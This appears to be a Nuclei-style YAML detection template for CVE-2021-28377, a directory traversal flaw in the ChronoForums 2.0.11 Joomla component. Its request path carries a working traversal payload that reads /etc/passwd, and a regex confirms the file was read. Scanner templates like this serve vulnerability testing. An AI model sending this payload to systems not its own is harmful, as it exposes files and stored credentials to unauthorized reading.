32 lines
1007 B
YAML
32 lines
1007 B
YAML
id: CVE-2021-28377
|
|
|
|
info:
|
|
name: ChronoForums 2.0.11 - Directory Traversal
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: The ChronoForums avatar function is vulnerable through unauthenticated path traversal attacks. This enables unauthenticated attackers to read arbitrary files, like for instance Joomla's configuration file containing secret credentials.
|
|
reference:
|
|
- https://herolab.usd.de/en/security-advisories/usd-2021-0007/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-28377
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2021-28377
|
|
cwe-id: CWE-22
|
|
tags: cve,cve2021,chronoforums,lfi,joomla
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|